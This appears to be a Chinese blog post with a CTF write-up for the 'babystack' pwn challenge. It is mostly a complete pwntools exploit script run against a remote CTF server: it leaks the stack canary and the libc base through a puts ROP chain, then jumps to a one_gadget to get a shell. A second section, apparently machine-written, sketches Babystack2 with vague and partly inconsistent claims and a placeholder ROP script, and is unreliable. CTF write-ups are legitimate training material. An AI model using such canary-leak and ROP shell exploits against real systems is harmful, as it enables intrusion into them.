Babystack

本文详细介绍了一种针对babystack的远程缓冲区溢出攻击方法,通过精心构造payload,利用puts函数泄露canary值和libc基址,最终实现getshell。文章展示了如何使用ROP链泄露函数地址,并通过one_gadget技巧获取shell。
#!/usr/bin/env python
context.log_level = 'debug'
from pwn import *
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
p=remote('111.198.29.45',30865)
prdi_addr=0x400a93
main_addr=0x400908
one_gadget=0x45216//找到库中('bin/sh')的相对地址
put_plt=elf.plt['puts']
put_got=elf.got['puts']
p.sendlineafter('>> ','1')
p.sendline('a'*0x88)
p.sendlineafter('>> ','2')
p.recvuntil('a'*0x88+'\n')
canary=u64(p.recv(7).rjust(8,'\x00'))//利用puts函数泄露出canary,之前read时读入0x88个a和1个/n,占用canary的/x00
print hex(canary)
p.sendlineafter('>> ','1')
payload='a'*0x88+p64(canary)+'a'*8+p64(prdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
//rop链泄露put函数地址
p.sendline(payload)
p.recv()
p.sendlineafter('>> ','3')
put_addr=u64(p.recv(8).ljust(8,'\x00'))
print hex(put_addr)
libc_base=put_addr-libc.symbols['puts']
getshell=libc_base+one_gadget
p.sendlineafter('>> ','1')
payload1='a'*0x88+p64(canary)+'a'*8+p64(getshell)
p.sendline(payload1)
p.sendlineafter('>> ','3')
p.interactive()

补充一下one_gadget的用法

### 关于 BUUCTF BJDCTF_2020 Babystack2 的解题思路 BABYSTACK2 是一道典型的 ROP(Return-Oriented Programming)题目,主要考察选手对栈溢出漏洞的理解以及如何利用返回地址控制程序执行流程的能力。以下是该题目的分析与解决方法: #### 题目背景 BJDCTF_2020 中的 Babystack2 提供了一个二进制文件和对应的环境配置[^1]。目标是通过堆栈缓冲区溢出来实现任意代码执行。 #### 工具准备 为了完成此挑战,需要以下工具: - **GDB (GNU Debugger)**:用于调试二进制文件并观察内存状态。 - **pwntools**:Python 库,简化了 exploit 开发过程中的许多操作。 - **ROPgadget**:帮助查找可用的小工具(gadgets)以构建所需的指令序列。 #### 技术要点解析 ##### 1. 漏洞发现 通过对提供的 binary 进行逆向工程可以确认存在一处未受保护的 strcpy() 函数调用,这允许攻击者覆盖函数返回地址从而劫持 CPU 控制流。 ##### 2. 基础设施设置 由于现代操作系统默认启用了多种安全机制如 NX bit 和 ASLR ,因此成功实施 ROP 攻击还需要考虑这些因素的影响 。具体来说, - 如果开启了 Address Space Layout Randomization(ASLR),则需找到一种方式泄露基址; - Non-executable stack 则意味着我们不能直接注入 shellcode 而应依赖已有代码片段形成有效载荷。 ##### 3. 构建 Payload 基于上述条件设计 payload 主要分为以下几个部分: - 找到合适的 gadgets 组合来规避 DEP/NX protection 并最终触发 system("/bin/sh") 或类似的命令执行动作 ; - 当前场景下可能涉及到 chain multiple gadgets together 形成完整的功能单元; 下面给出一段简单的 python script 使用 pwntools 来生成这样的输入数据包: ```python from pwn import * context.arch = 'amd64' elf = ELF('./babystack2') rop = ROP(elf) offset = cyclic_find('kaie') # replace with actual offset value found via testing/cyclic pattern generation payload = fit({ offset: rop.chain() }) p = process('./babystack2') p.sendline(payload) p.interactive() ``` 注意以上仅为框架示意, 实际应用时还需填充具体的 gadget 地址等细节信息. #### 总结 综上所述,Babystack2是一道综合性较强的CTF赛题,它不仅测试参赛人员对于基础原理掌握程度同时也锻炼其实际动手解决问题能力.
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值